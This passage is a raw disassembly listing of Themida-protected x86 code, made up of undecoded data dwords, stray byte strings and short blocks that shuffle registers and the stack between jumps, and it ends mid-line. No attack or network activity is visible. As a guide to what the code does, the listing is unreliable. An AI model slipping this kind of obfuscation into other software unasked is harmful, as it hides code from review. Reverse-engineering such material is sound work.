0C106EDC1h dd 0C58102E5h, 539FE4B7h, 0F75DEA89h, 68DAF7DAh, 3FDCh dd 68240489h, 580A1577h, 58C22958h, 75FCE9h, 7BAE6800h dd 0C890000h, 0E991B124h, 0FFFFEDFBh, 0C7FE59B7h, 0F697EF80h dd 4EFC0DFh, 8005E7C0h, 0FC8830F7h, 0FFEDB4E9h, 66645CFFh dd 9FE90289h, 8BFFFFE5h, 0B9E9240Ch, 80000057h, 0C580AECDh dd 59EB2867h, 52FAEB80h, 0C380F2B2h, 0E9D32856h, 8D7Ah dd 0FEB8h, 1C472100h, 5812E9h, 0D4685900h, 8900003Fh, 2BE2434h dd 81000000h, 0E47988C3h, 52F30164h, 7922E5BAh, 3EC0E92Eh dd 665B0000h, 583BC581h, 66DDF766h, 66526645h, 664F37BAh dd 5A66D529h, 3E5C166h, 3BC58166h, 0BD665551h, 0F7667BFAh dd 664D66DDh, 6B4BED81h, 5DE80166h, 5E6EE9h, 88505900h dd 0E68852D4h, 88F08850h, 0EF61E9C7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_546082: ; CODE XREF: Themida_:005452EEj ; Themida_:00545D9Bj ... sub esp, 4 jmp loc_54E6DA ; --------------------------------------------------------------------------- aH3 db ',ж(ьh*3',0 dw 8900h dd 2CE9240Ch, 8100003Ch, 4C4h, 0E0685F00h, 89000010h, 2EBB241Ch dd 0E9562B47h, 0FFFFF56Eh, 5C240C87h, 581EB951h, 0D9F765C8h dd 0A03AE9h, 47033500h, 0C2893B8Eh, 0E9D10158h, 565h, 555EF109h dd 0E904EC83h, 0A56Ch, 52240C89h, 5B00E9h, 0C9E95200h dd 1FFFFF9h, 0EC815BD8h, 4, 89240489h, 208AE9E0h, 0DAB50000h dd 285AD500h, 0C8B66EBh, 0E9545024h, 0FFFFFA81h, 0BA52E789h dd 65BB5D87h, 92D0F792h, 486EEA81h, 0F281587Ah, 41CA5A0Eh dd 4587C781h, 0D7010875h, 4587B951h, 0CF290875h, 92E95A59h db 0E8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_546143: ; CODE XREF: Themida_:00544DBEj push esi mov esi, 0A0F500Fh sub ebx, esi pop esi sub ebx, 1DC852B1h push 3DB5h mov [esp], edx jmp loc_5494B0 ; --------------------------------------------------------------------------- db 66h dd 5124048Bh, 0C1815954h, 4, 80AE9h db 0 ; --------------------------------------------------------------------------- loc_546171: ; CODE XREF: Themida_:0054960Aj mov edi, 4 add ecx, edi mov edi, [esp] add esp, 4 push ecx push dword ptr [esp+4] pop ecx jmp loc_544B72 ; --------------------------------------------------------------------------- loc_54618C: ; CODE XREF: Themida_:0054E9AFj add eax, ebp mov ebp, [esp] add esp, 4 pop esi jmp loc_54ABE5 ; --------------------------------------------------------------------------- db 81h, 0C3h, 0E9h dd 812EDD1Ch, 0F67232EBh, 0FEB812Ah, 813EC963h, 64466CEBh dd 725D6805h, 1C890000h, 0E95B5424h, 24CDh, 0FF240489h dd 58042474h, 8B24048Fh, 4082424h, 0AFE99C24h, 66FFFFE3h dd 5024048Bh, 59E95854h, 57000013h, 715FE9h, 4C48100h dd 81000000h, 2D738FC3h, 57FB0172h, 3D5562BFh, 35BB532Ah dd 214E057Fh, 0F04AE9DFh, 1C8BFFFFh, 4C48124h, 66000000h dd 0C5E95059h, 89000096h, 4B951E3h, 81000000h, 5B68B6EBh dd 0BEEB811Ch, 81419A33h, 155D5FC3h, 81CB0159h, 155D5FEBh dd 46F6E959h, 8B660000h, 0D682404h, 8900005Eh, 5D54242Ch dd 53BEE9h, 4EC8300h, 0E9240489h, 27C8h ; --------------------------------------------------------------------------- loc_546264: ; CODE XREF: Themida_:0054DB65j xor ebx, ecx jmp loc_54E7CB ; --------------------------------------------------------------------------- aL4Swm db '▀4$ИWM',0 dw 0B300h dd 0E93AB54Bh, 9C01h ; --------------------------------------------------------------------------- loc_54627C: ; CODE XREF: Themida_:0054DA18j add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_545D99 ; --------------------------------------------------------------------------- loc_546291: ; CODE XREF: Themida_:0054BDF7j and eax, ebx push dword ptr [esp] pop ebx push 95Dh jmp loc_54A4EA ; --------------------------------------------------------------------------- db 0FFh, 77h, 1Ch dd 419589Dh, 0D8E99C24h, 6800001Bh, 330h, 0E9240C89h, 3B4Dh dd 0F1BFE95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5462C2: ; CODE XREF: Themida_:0054725Dj pop ebp xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_547553 ; --------------------------------------------------------------------------- db 5Eh, 35h, 0CCh dd 313546ACh, 24048BC2h, 4C481h, 89E90000h db 19h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5462E7: ; CODE XREF: Themida_:0054BCDCj push eax jmp loc_54F8EE ; --------------------------------------------------------------------------- db 0B8h, 0EFh, 15h dd 0C2317D44h, 0FFB95158h, 1FFFFFFh, 4C4BE9CAh, 0C6880000h dd 240FE9h, 2CF00000h, 0F9B7539Ch, 80C8CF80h, 0F8280CEFh dd 1FC2E9h, 24048900h, 4B8h, 1083E900h, 0EC830000h, 24048904h dd 0B6717B8h, 0B960BA2Fh, 0BD552A75h, 38034DDCh, 815DEA01h dd 0E20DB6EAh, 81C20127h, 0E20DB6C2h, 0DCEA8127h, 5838034Dh dd 429BBF57h, 0B9514F4Dh, 4220294Dh, 17DEE981h, 0CA0116E9h dd 88D9E9h, 41EE2D00h, 0E95062DFh, 0FFFFECFBh, 1EE81h dd 0EE810000h, 1EAD37D3h, 0B4C68146h, 29549917h, 0C2815EF2h dd 2FA71C17h, 0F706E2C1h, 18F281DAh, 298C7BB7h, 0F8015AD0h dd 7F3BD805h, 93DBE95Fh, 34FF0000h, 2434FF24h, 48DCE9h db 0 ; --------------------------------------------------------------------------- loc_5463BD: ; CODE XREF: Themida_:0054DF77j sub edx, 717C331Fh shl edx, 7 not edx push ebp mov ebp, 957CEEFBh sub edx, ebp pop ebp add ecx, edx pop edx xchg ecx, [esp] pop esp push 4E10h mov [esp], edx push 1 push dword ptr [esp] push dword ptr [esp] pop edx jmp loc_54F7C4 ; --------------------------------------------------------------------------- db 5Ch, 0F7h, 0D7h dd 9707EFC1h, 4E9D8F7h, 5000030h, 4, 5C240487h, 6D6EEB81h dd 0FD6824CEh, 8900002Fh, 0CF68243Ch, 5F350D76h, 2122E947h dd 0D8290000h, 45ABE9h, 0E92A2C00h, 441Ah, 8924248Bh, 0D9E9243Ch dd 1FFFFFCh, 5A64E9FBh, 815E0000h, 0F36AC3C3h, 0ABC3811Bh dd 11C2911h, 5B42E9F3h, 0E9530000h, 0D05h, 4247429h, 4244481h dd 7AB05234h, 4246C81h, 6CD146D5h, 8324348Bh, 0BF5704C4h dd 0AEB1196h, 12DAE9h, 4EAC100h, 6CDBF281h, 7E90E85h, 5A000077h dd 4EC81h, 14890000h, 46824h, 148B0000h, 4C48324h, 148BD601h dd 4C48124h, 33000000h, 34312434h, 24343324h, 8360E9h dd 81C32900h, 0D87E47C3h, 0F1BB535Bh, 81643A56h, 32880C3h dd 0BD555624h, 29EC47EBh, 0DCE9EE89h, 5200009Ah, 0D1E931B6h db 66h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5464E7: ; CODE XREF: Themida_:00545D44j push ebx jmp loc_5447E8 ; --------------------------------------------------------------------------- db 68h, 4Ah, 72h dd 36E90000h db 0ECh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5464F7: ; CODE XREF: Themida_:005470E5j pop dword ptr [esp] jmp loc_546A09 ; --------------------------------------------------------------------------- db 1 dd 0ED8158C5h, 4, 0FFE512E9h, 4C483FFh, 4562972Dh, 5D82965h dd 65456297h, 8DEFE9h, 2434FF00h, 4EC835Ah, 89243489h dd 4C681E6h, 83000000h, 0FF5604C6h, 5E042474h, 5C24048Fh dd 0C6E9D089h, 81FFFFE4h, 0B4238BEFh, 4FE95D28h, 58000086h dd 0FAE9F828h, 5300004Dh, 6E8E6852h, 0E95A24FEh, 7F40h dd 0A6BD555Ah, 153B252h, 8B04246Ch, 0C481242Ch, 4, 0E9240401h dd 6BB8h, 4EC81h, 14890000h, 56E28924h, 468h, 8EADE900h dd 2C8B0000h, 4C48324h, 15AD189h, 4DB3E9CFh, 148B0000h dd 0F890E924h, 3C8BFFFFh, 4C48124h, 83000000h, 0CFE904C6h dd 6600000Dh, 0E924048Bh, 2026h, 240C8B66h, 8904EC83h dd 0C0E92404h, 8B000045h, 0C4832434h, 7EE2E904h, 0C0830000h dd 54CD2D01h, 0C30113D7h, 8324048Bh, 0C38304C4h, 74FF5302h dd 1C8B0424h, 4C48324h, 8B24048Fh, 8B662424h, 0E9512404h dd 79C6h, 81595451h, 4C1h, 4BF5700h, 0E9000000h, 7095h dd 0E95BDE89h, 1CEAh, 243C8B5Bh, 0CE9h, 0C335A00h, 240C3124h dd 0FFE9F4E9h, 0E38953FFh, 2CFE9h, 5BDD0100h, 0E9242C87h dd 2232h, 8B04C483h db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_54AA27 ; --------------------------------------------------------------------------- dw 8B66h dd 8952240Ch, 4C281E2h, 81000000h, 4EAh, 24143300h, 33241431h dd 99E92414h, 0FFFFFFFDh, 0E95E2434h, 30E0h, 66242C89h dd 665F0DBDh, 2AF3F581h, 0E9EA2166h, 8A11h ; --------------------------------------------------------------------------- loc_5466B4: ; CODE XREF: Themida_:005473FBj add esi, 4 push edx mov edx, 4 jmp loc_54FA41 ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 8304C483h, 0CBE904ECh db 9Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5466D3: ; CODE XREF: Themida_:005478BAj shl edi, 3 xor edi, 507810C4h add ebp, edi pop edi add ebp, 4 xchg ebp, [esp] pop esp add ecx, 4 push eax push esi mov esi, 1658573Bh neg esi and esi, 598D7069h add esi, 70EA59DDh xor esi, 498568D2h add esi, 4CA40877h mov eax, esi pop esi sub eax, 73BD6A39h inc eax shl eax, 4 neg eax shl eax, 5 jmp loc_54A238 ; --------------------------------------------------------------------------- db 66h dd 68240C8Bh, 105Dh, 32CE9h db 0 ; --------------------------------------------------------------------------- loc_546731: ; CODE XREF: Themida_:0054EE0Aj mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ecx push dword ptr [esp+4] pop ecx jmp loc_54D042 ; --------------------------------------------------------------------------- aTsW db 'TИ©w',0 dw 100h dd 24348BF3h, 8104C483h, 4C3h, 241C8700h, 2024055Ch, 0D8291CC9h dd 4ACBD55h, 1DE93235h, 89FFFFE9h, 0B1E957C7h, 0ADFFFFFEh dd 774868h, 241C8900h, 2B4335BBh, 4030055Fh, 0D829451Ah dd 1A40302Dh, 0FF27E945h, 0E3C0FFFFh, 34B8E907h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5467A6: ; CODE XREF: Themida_:0054584Ej mov [esp], ebx mov ebx, 247556E4h dec ebx add ebx, 6187114Eh push 6D66h mov [esp], edx mov edx, 0E5523ADh push edx xchg ebx, [esp] not ebx jmp loc_547978 ; --------------------------------------------------------------------------- loc_5467CD: ; CODE XREF: Themida_:0054EEFCj add esp, 4 add esp, 4 push ecx push esp jmp loc_54A6FF ; --------------------------------------------------------------------------- db 58h, 53h, 0BBh dd 544D34BDh, 0E903E3C1h, 82EEh ; --------------------------------------------------------------------------- loc_5467EC: ; CODE XREF: Themida_:0054805Fj xor ecx, 3F932BCFh xchg esi, ecx inc esi xchg esi, ecx jmp loc_54B6BF ; --------------------------------------------------------------------------- dd 0EAE9F088h, 0F7000059h, 0DEC281DAh, 10C671Ch, 5323E9D6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546812: ; CODE XREF: Themida_:0054789Dj pop ecx jmp loc_54B7C1 ; --------------------------------------------------------------------------- aQbFisnd db 'Q│,$╣[ДIИnD',0 dd 63B95100h, 0BA1B4438h, 0E4BBC7A1h, 8159CA01h, 0B55F2DC6h dd 81D62968h, 0B55F2DEEh, 17F5E968h, 0C890000h, 53595424h dd 4DD3B951h, 0D1F70204h, 4104E1C1h, 6A2FC981h, 81E92404h dd 68FFFFF0h, 6293h, 0E9242489h, 0FFFFE389h, 5B66DE30h dd 156268h, 240C8900h, 0C1FEA9B1h, 8057E980h, 0E18012C9h dd 29C3E9CFh, 0E3890000h, 4C381h, 0EB830000h, 34E6E904h dd 0C1810000h, 2, 31240C33h, 0C33240Ch, 24248B24h, 9AABE9h dd 0E9C9FE00h, 7D8Eh ; --------------------------------------------------------------------------- loc_5468BC: ; CODE XREF: Themida_:0054F272j mov [esp], edi sub esp, 4 jmp loc_54FC88 ; --------------------------------------------------------------------------- dw 0C483h dd 0E2895204h, 0FFECACE9h db 0FFh ; --------------------------------------------------------------------------- loc_5468D5: ; CODE XREF: Themida_:005496BEj push dword ptr [esp] pop ebx add esp, 4 push 4329h mov [esp], esi push esp pop esi push ecx jmp loc_54EEC0 ; --------------------------------------------------------------------------- a1Sem db '1вИ┘M',0 align 2 loc_5468F6: ; CODE XREF: Themida_:0054EEDEj pop esp mov [esp], ebp jmp loc_545761 ; --------------------------------------------------------------------------- db 5Ch dd 0E9F1F766h, 547Bh, 4246C01h, 4244481h, 639C335Eh, 0E9242C8Bh dd 9625h, 4C381h, 0C3810000h, 4, 0E9241C87h, 3EE1h, 388B6857h dd 93E90000h, 0BA000049h, 1C1A6B08h, 4245401h, 0FFFC1FE9h dd 9EC381FFh, 8169424Fh, 1463E8C3h, 81EB8129h, 0FF702551h dd 0ED2AE930h, 5F54FFFFh, 4C781h, 0C7810000h, 4, 31243C33h dd 0EE9243Ch, 56000023h, 6B5DE957h, 0EC830000h, 241C8904h dd 7132D5BBh, 5E3C151h, 6434CB81h, 0CFE97F18h, 81000059h dd 2C5h, 242C8700h, 6624248Bh, 9C240409h, 0FFDBD9E9h db 0FFh ; --------------------------------------------------------------------------- loc_5469B1: ; CODE XREF: Themida_:005457BBj mov esi, 2D2809B2h and esi, 2B554486h add esi, 180F0D6Eh add esi, 271D7AC4h xor esi, 5B46154Ch sub esi, 7E1E5DB9h sub esi, 74CC12BAh mov ecx, esi jmp loc_54A20D ; --------------------------------------------------------------------------- loc_5469E1: ; CODE XREF: Themida_:0054B157j pop edx push ebp neg dword ptr [esp] pop ebp xor ebp, 0D57FBFDCh sub [edi+24h], ebp mov ebp, [esp] push ebx mov ebx, esp add ebx, 4 push eax mov eax, 4 add ebx, eax jmp loc_54491C ; --------------------------------------------------------------------------- loc_546A09: ; CODE XREF: Themida_:005464FAj pop esp mov cx, [esp] push 68B9h mov [esp], eax mov eax, esp push ecx push edi mov edi, 6ED6224Fh add edi, 0C80C4EE2h jmp loc_54F956 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 394DE9h, 0B9515C00h, 221473F3h, 5559CE31h, 0CE6E9h db 0 ; --------------------------------------------------------------------------- loc_546A45: ; CODE XREF: Themida_:00546D5Bj pop eax jmp loc_54D54F ; --------------------------------------------------------------------------- db 29h dd 8104247Ch, 55042444h, 5F68B71Eh, 0FFEB18E9h, 242C89FFh dd 0C1E9E589h, 29000015h, 9A25E9EEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_546A6E: ; CODE XREF: Themida_:00548E7Cj mov ch, 67h sub ch, 26h jmp loc_54E35E ; --------------------------------------------------------------------------- dd 89243489h, 4C681E6h, 81000000h, 4ECh, 24148900h, 3D4BB53h dd 0CB8174EEh, 593F67h, 81D3F743h, 0FF3FFDC3h, 5BDA8974h dd 33FEC681h, 0D6290433h, 0A89B850h, 7E908FDh, 8B000004h dd 0C4832434h, 2434FF04h, 123AE95Bh, 63680000h, 89000018h dd 39E92404h, 0FEFFFFF5h, 0C6ED80C5h, 8059EF88h, 0E950F3F7h dd 6942h, 41D4E95Ch, 0EA810000h, 3F491AB5h, 7DF8F281h dd 0F7E97364h, 0E9FFFFE2h, 0FFFFDA8Ah, 51242C8Bh, 8904EC83h dd 4832424h, 0C8B0424h, 4C48324h, 208BE9h, 14896600h, 2020E924h dd 93680000h, 89000068h, 0AEE92434h, 8B00000Bh, 0C481242Ch dd 4, 0F7ECE952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_546B3E: ; CODE XREF: Themida_:0054C66Dj add esp, 4 sub esp, 4 mov [esp], esi push 70596B11h push dword ptr [esp] pop esi add esp, 4 sub edi, 37997547h sub edi, esi add edi, 37997547h push dword ptr [esp] pop esi add esp, 4 sub edi, 6A6D05D6h jmp loc_548583 ; --------------------------------------------------------------------------- dw 0FA2Dh dd 0E93D005Dh, 7DD9h, 4C381h, 0C3830000h, 4514E904h, 4330000h dd 24248B24h, 6F68F9F7h, 0E9000040h, 0FFFFE9E7h, 3A0DE981h dd 0C8014A5Ah, 4E88359h, 0F50E9h, 357D6800h, 24890000h dd 24048324h, 243C8B04h, 1E97E9h, 2CF80000h, 885B664Bh dd 0C28058C2h, 0FFD028A2h, 148B2434h, 4C48124h, 68000000h dd 57C1h, 89240C89h, 4C181E1h, 81000000h, 4C1h, 240C8700h dd 4FEB805Ch, 504EE9h, 56E28900h, 30F0BF57h, 76E938FCh dd 89000056h, 4B951E0h, 1000000h, 7203E9C8h, 8B660000h dd 6857240Ch, 6F5Fh, 4EC81h, 24890000h, 5348E924h, 68580000h dd 34AEh, 68243C89h, 3D16h, 0B8240489h, 3F724973h, 47D50F2Dh dd 0E9C78919h, 4CD0h, 3C8BFE29h, 1D20E924h, 0C4680000h dd 8900007Bh, 81B9240Ch, 81702551h, 983EE6EBh, 416EE92Fh dd 5CF60000h, 805A0124h, 0E6C092E6h, 15C68005h, 9969E9h dd 2B800h, 0EA810000h, 64BB5A22h, 0C281C201h, 64BB5A22h dd 8324048Bh, 0FF5204C4h, 8B042474h, 0D0E92414h, 8B00001Ah dd 2E92424h, 0ACFFFFF8h, 865BB353h, 86D2F6D3h, 0E9CBFED3h dd 8AB4h, 50241489h, 91CDC68h, 4FA1E91Dh, 0FE880000h, 83241C8Bh dd 0FE904C4h, 66000022h, 667E0868h, 51241C89h, 9DFE9h db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push 730Bh mov [esp], ebx mov ebx, 15130EDEh inc ebx jmp loc_549646 ; --------------------------------------------------------------------------- loc_546D18: ; CODE XREF: Themida_:00544DEDj xor ecx, esi jmp loc_54E621 ; --------------------------------------------------------------------------- db 56h dd 4BEh, 7603E900h, 9BB0000h, 131332Bh, 1EE95BD8h, 8100000Dh dd 383A0CF5h, 5DEE0147h, 7CB6E956h, 0C5830000h, 39E2E904h dd 0C4810000h, 4, 6826E9h db 0 ; --------------------------------------------------------------------------- loc_546D59: ; CODE XREF: Themida_:0054E751j mov ecx, eax jmp loc_546A45 ; --------------------------------------------------------------------------- dd 3EBC6855h, 815D380Ch, 0E6EA18C5h, 5DEE89F8h, 0F681DEF7h dd 530547B9h, 40C6E681h, 0BF576EBEh, 1CD07BFBh, 8107E7C1h dd 0B9313DC7h, 81EFD161h, 2972FDC7h, 0FEBEE9B5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_546D9A: ; CODE XREF: Themida_:0054AC02j sub ebp, 463C28B7h sub ebp, 716A1A56h push ebp not dword ptr [esp] jmp loc_54CA97 ; --------------------------------------------------------------------------- db 5Ah dd 5C24048Fh, 7B3BE9h, 88613400h, 885058C7h, 7F2268F8h dd 1C890000h, 50C78824h, 54EEE9h, 4C1DBF00h, 0F781702Bh dd 55817E0Ah, 83DFF747h, 0F781FFC7h, 298D3226h, 6D10BA52h dd 97E94DD2h, 0F6000040h, 2EC81D1h, 66000000h, 68240489h dd 61F7h, 0E9241C89h, 328Ah, 60E95345h, 20000052h, 805A66D4h dd 0E4C001ECh, 0E7F48002h, 48BE588h, 4344E924h, 0FA880000h dd 0C228585Bh, 66D03058h, 8124148Bh, 4ECh, 243C8900h, 0FFFD6CE9h dd 0C8B66FFh, 4EC8124h, 89000000h, 0EC83240Ch, 24248904h dd 4240483h, 4EC8359h, 2C64E9h, 0EF815D00h, 4, 5C243C87h dd 0E9243489h, 10EBh, 0C609B568h, 116DE93Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_546E82: ; CODE XREF: Themida_:0054C97Dj mov [esp], edx mov edx, 12B6478Ch or edx, 5115819h jmp loc_54CECE ; --------------------------------------------------------------------------- loc_546E95: ; CODE XREF: Themida_:00545A1Dj dec edx add edx, 6E214238h or ebp, edx pop edx inc ebp add ebp, 38019BBh jmp loc_54725B ; --------------------------------------------------------------------------- db 83h dd 1C8702C3h, 24248B24h, 240CD366h, 0D6CCE99Ch, 7735FFFFh dd 290CCE39h, 875A58C6h, 895C2434h, 8B542414h, 4AE92414h dd 8B000092h, 0E951241Ch, 0FFFFE109h, 15AD789h, 243C8BFAh dd 0E904C483h, 7847h ; --------------------------------------------------------------------------- loc_546EF0: ; CODE XREF: Themida_:0054ABCBj mov edx, 75FA566Fh add edx, 8C94E44h not edx not edx jmp loc_547354 ; --------------------------------------------------------------------------- aIrvhc db '┴ЮVh≈',27h,0 align 4 dd 0E9240C89h, 2AC9h, 0E941B450h, 8597h, 2B951h, 0A8E90000h dd 9000019h, 0E95E1C77h, 0FFFFD65Ah, 2404095Ch, 81E1E99Ch dd 0E95D0000h, 3541h, 24048B5Ah, 8B04C483h, 0C4832414h dd 7BEDE904h, 53AC0000h, 0ECC7E952h, 0F101FFFFh, 4711E9h dd 0D1D3F700h, 28C381E3h, 15F1620h, 7E0CE9DEh, 248B0000h dd 0D610E924h, 4BEFFFFh, 0F740F839h, 48EE81DEh, 1A9F4A4h dd 0B8505EF3h, 68D27830h, 2F0EE9h db 0 ; --------------------------------------------------------------------------- loc_546F95: ; CODE XREF: Themida_:0054EDEAj mov ebp, 737959C8h add ebp, 5554CEFh jmp loc_54C7AB ; --------------------------------------------------------------------------- db 68h, 61h, 31h dd 0C890000h, 2B924h, 0C2810000h, 32016F60h, 10BCBD55h dd 0E5D161B6h, 736FC581h, 0E5C16F0Fh, 5EDC104h, 59E4C581h dd 0C5812C35h, 3C513E96h, 295DEA29h, 0EDB951CAh, 169C462h dd 56E959CAh, 5800003Eh, 4244C29h, 4244481h, 0AD750AEh dd 403E9h, 1C8B6600h, 2C48324h, 81E38953h, 4C3h, 0A1BE5600h dd 0F770E250h, 1EE81DEh, 0E9000000h, 601h, 4BAFCB81h, 0A0E9369Dh dd 8900000Bh, 97BA2414h, 0C14C4F20h, 0B95102EAh, 5F400E3Dh dd 6956F181h, 0AAE90397h, 5C000086h, 348BF701h, 89E95224h dd 8900006Bh, 4C381E3h, 81000000h, 4EBh, 55CFE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547066: ; CODE XREF: Themida_:0054761Cj pop edx inc ecx inc ecx jmp loc_54EB6A ; --------------------------------------------------------------------------- dw 433h dd 24043124h, 5C73E9h, 0D830AC00h, 0E974B252h, 439Eh ; --------------------------------------------------------------------------- loc_547084: ; CODE XREF: Themida_:0054E844j xchg ebp, [esp] pop esp mov [esp], eax mov eax, esp push ecx mov ecx, 4 add eax, 5EB93C7Eh add eax, ecx push esi mov esi, 13AF2AF4h shl esi, 3 sub esi, 18285E64h shl esi, 3 or esi, 770B6BBEh shl esi, 8 sub esi, 3132C182h sub eax, esi pop esi pop ecx add eax, 2 push eax push dword ptr [esp+4] mov eax, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] jmp loc_5464F7 ; --------------------------------------------------------------------------- dw 5B54h dd 4C381h, 0EB810000h, 4, 5C241C87h, 5F5AE9h, 5224B700h dd 17ACE9h, 0EDC18000h, 2858C130h, 0F03059CEh, 0D43E95Ah dd 5580000h, 4, 2BB53h, 0D8010000h, 101E9h, 241CF600h dd 0D454E99Ch, 1489FFFFh, 8B545124h, 0C483240Ch, 4C18104h dd 83000000h, 0C8704E9h, 4895C24h, 0F3CBE924h, 0C581FFFFh dd 0AA805E4Ch, 3540E9h, 89C38900h, 21585BDFh, 77FF5FF8h dd 2434811Ch, 27992B8Eh, 0E92434FFh, 3D2Bh, 9D1C77FFh dd 0D3665966h, 0E99C241Ch, 0FFFFD3FEh, 5BDE2159h, 1E87BF57h dd 0FE210594h, 907DE95Fh, 0C5810000h, 4, 4C581h, 2C330000h dd 242C3124h, 5C242C33h, 4C581h, 0B9510000h, 2, 0E959CD01h dd 0FFFFE4F5h, 6E04E2B0h, 0A0E9C130h db 26h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5471D3: ; CODE XREF: Themida_:0054E346j dec ebx jmp loc_54D9FB ; --------------------------------------------------------------------------- db 1, 0F7h, 5Eh dd 8324048Bh, 3C8704C4h, 10E1E924h, 0C2810000h, 4, 31241433h dd 6E92414h db 29h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5471FB: ; CODE XREF: Themida_:0054F810j pop eax add esp, 4 jmp loc_5493F8 ; --------------------------------------------------------------------------- loc_547207: ; CODE XREF: Themida_:0054807Aj mov eax, esp add eax, 4 jmp loc_5473CE ; --------------------------------------------------------------------------- aPs_ db 'PИ.)',0 dd 0BF575800h, 4, 6B55E9h, 0CD686600h, 0CF4E938h, 0E95B0000h dd 8D75h, 4BFh, 5FF80100h, 31240433h, 4332404h, 0BF0F5C24h dd 197C68C8h, 9E90000h, 2900003Fh, 0A9E95BD9h db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54725B: ; CODE XREF: Themida_:00546EA6j add esi, ebp jmp loc_5462C2 ; --------------------------------------------------------------------------- dw 0E981h dd 4, 0E9240C87h, 7768h ; --------------------------------------------------------------------------- loc_547270: ; CODE XREF: Themida_:00544E15j pop ebp jmp loc_54F94E ; --------------------------------------------------------------------------- loc_547276: ; CODE XREF: Themida_:0054D841j add ebx, 4A051ABCh sub esp, 4 mov [esp], eax mov eax, 27E71DEFh neg eax xor eax, 37A74F6Fh xor ebx, eax pop eax xor esi, ebx pop ebx sub esi, 0D866CFE6h sub eax, 4D93458Dh add eax, esi add eax, 4D93458Dh pop esi or eax, eax jnz loc_54EFDD push esi push edi mov edi, 43113C5Bh mov esi, edi pop edi jmp loc_54C79F ; --------------------------------------------------------------------------- loc_5472C1: ; CODE XREF: Themida_:0054848Ej or edi, 260B10EDh and edi, 90B5897h xor edi, 6CD4729Ch jmp loc_54F4E8 ; --------------------------------------------------------------------------- dd 0B775C62Dh, 58C1015Bh, 3304C183h, 0C31240Ch, 240C3324h dd 0BA52535Ch, 213D2744h, 0BC7E9h, 89EA8100h, 423DDB31h dd 1C2DC281h, 0BE56EF83h, 333B70BDh, 0FFF06BE9h db 0FFh ; --------------------------------------------------------------------------- loc_547311: ; CODE XREF: Themida_:005484ABj push eax jmp loc_54CB5A ; --------------------------------------------------------------------------- loc_547317: ; CODE XREF: Themida_:0054C86Aj xchg ecx, ebx neg ecx xchg ecx, ebx xor ebx, 813C6A4Eh sub eax, ebx pop ebx add esi, eax jmp loc_54F80D ; --------------------------------------------------------------------------- db 0ACh, 2Ch, 35h dd 7FE96304h, 8100002Ah, 65668EF2h, 59EA8163h, 8145B066h dd 286B97C2h, 5AD6295Eh, 0E95EF389h, 1B9h ; --------------------------------------------------------------------------- loc_547354: ; CODE XREF: Themida_:00546EFFj and edx, 790367C8h add edx, 87FCDB84h add ebx, edx pop edx xchg ebx, [esp] jmp loc_544838 ; --------------------------------------------------------------------------- db 88h dd 5AD188C2h, 0FF2434FFh, 83582434h, 0C48104C4h, 4, 426EE9h db 0 ; --------------------------------------------------------------------------- loc_547385: ; CODE XREF: Themida_:005475C5j mov edx, esp add edx, 4 jmp loc_549856 ; --------------------------------------------------------------------------- aVs db 'VИ╪;',0 align 4 dd 4C481h, 0FB890000h, 0E1F1E95Fh, 0CDFEFFFFh, 0FFF726E9h dd 0FFC701FFh, 83582434h, 0BD5504C4h, 4, 875DEF29h, 0ADE9243Ch dd 88000090h, 0F42EE9FEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5473CE: ; CODE XREF: Themida_:0054720Ej add eax, 4 xchg eax, [esp] pop esp mov ecx, 44697FE7h xor ecx, esi pop esi push edx mov edx, 460C06D4h and ecx, edx mov edx, [esp] add esp, 4 jmp loc_544DE2 ; --------------------------------------------------------------------------- loc_5473F3: ; CODE XREF: Themida_:005491FEj sub esp, 4 mov [esp], esi mov esi, esp jmp loc_5466B4 ; --------------------------------------------------------------------------- dd 4244481h, 29B370FCh, 7381E9h, 81E38900h, 4C3h, 4C38300h dd 0FFE4BAE9h, 5E5456FFh, 4EC81h, 0E90000h, 51FFFFFCh dd 296168h, 24148900h, 8815B050h, 0D18858C2h, 80D1F65Ah dd 0CB00ADE9h, 81240C8Bh, 4C4h, 8CC38000h, 65E468h, 241C8900h dd 50E9C388h, 0B6FFFFEEh, 4C3DE996h, 81590000h, 3D217FCFh dd 2844E96Ah, 0C8FE0000h, 450DE952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54747A: ; CODE XREF: Themida_:0054F7C9j mov [esp], eax push esp pop eax push edx jmp loc_54A805 ; --------------------------------------------------------------------------- db 0B8h, 4, 0 dd 70E90000h, 0B8FFFFF0h, 303951BBh, 0C2C787BDh, 5FC58135h dd 29242E49h, 5FED81C5h, 58242E49h, 87BBA52h, 0D501564Fh dd 0FFEB295Ah, 515D2434h, 0C181E189h, 4, 9F2BB53h, 0F3813807h dd 54964B30h, 0EB81D3F7h, 60601332h, 6A3BB951h, 0CB012E05h dd 72CB8159h, 815EA733h, 48C88EC3h, 0E9D90180h, 72BEh dd 5432E951h, 0DA290000h, 6422C281h, 